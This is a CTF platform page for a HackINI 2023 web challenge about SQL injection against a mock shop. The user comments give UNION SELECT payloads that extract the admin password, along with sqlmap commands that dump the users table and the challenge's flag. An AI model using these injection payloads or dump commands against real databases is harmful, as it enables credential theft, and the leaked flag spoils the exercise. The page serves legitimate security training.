Virtual ShopWEB 未解决

分数: 0 金币: 0
所属赛事: HackINI 2023
题目作者: 未知
一  血: heyile
一血奖励: 0金币
解  决: 519
提  示:
描  述:
So, let's see if you can retrieve the `password` of the admin which\ \ `username` is 'admin' among all the available `users` in the db\n\n\n **Author**:\ \ F100w"
评论
icyskin 2月前

sqlmap -u http://49.232.142.230:11711/filter?category=IT -T users --dump

回复 0

tenwool 4月前

这个判断逻辑是只要查密码就出flag,所以最简单的就是union select 1,2,3,password from users --+直接就出来了

回复 0

tenwool 4月前

搞了半天没做出来,原来提示里全都给了. order by 查出4列 union select 1,2,3,4 发现第二列不回显,提示又让找密码,直接 union select (select password from users where username='admin'),2,3,4 --+,出flag

回复 0

tdwj 1年前

一开始' union select 1,2,database(),4--+报错,看提示' union select 1,2,username,password from users--+倒是可出flag

回复 0

欧尼酱001 2年前

1、将请求包保存为1.txt 2、python3 sqlmap.py -r 1.txt --batch --tables 3、python3 sqlmap.py -r 1.txt --batch -T users --dump 即可跑出表字段:shellmates{Gg_b0Y_you_kNOW_w3ll_H0w_T0_uSe_uNiOn_4tTacK}

回复 0
WCRH 1年前

这又不是post请求,你还保存上txt了

回复 0

.⎛⎝•̀ω•́⎠⎞. 2年前

只用sqlmap就可以做出来,很简单的一个注入

回复 0

FADogeCTF 2年前

union查询

回复 0

xiaobai568 2年前

前面的太复杂了吧,-1'union select (select password from users where username='admin'),5,3,4 -- 直接就出来了

回复 2

JJhello 2年前

sqlmap即可

回复 0

chaoge 2年前

sqlite,弄了半天认为是MySQL呢。

回复 0

WriteUp

image
heyile

1 金币

评分(0)

暂无评分

解题动态

风花雪月 攻破了该题 3天前
guity 攻破了该题 4天前
bugbiubiubiu 攻破了该题 5天前
晨曦静夜 攻破了该题 5天前
lizhibin 攻破了该题 10天前
wuzhouwo 攻破了该题 13天前
XLDXL 攻破了该题 15天前
lcclcc 攻破了该题 15天前
低调申 攻破了该题 19天前
我是小悦主人 攻破了该题 24天前
ha1@! 攻破了该题 24天前
Vluae 攻破了该题 28天前
dddddddwww 攻破了该题 29天前
Redlover 攻破了该题 1月前
Jay. 攻破了该题 1月前
mechatengo 攻破了该题 1月前
xiaoxiang07 攻破了该题 1月前
Dxmax 攻破了该题 1月前
denglonghua 攻破了该题 1月前
i8vkmmju 攻破了该题 1月前
问题反馈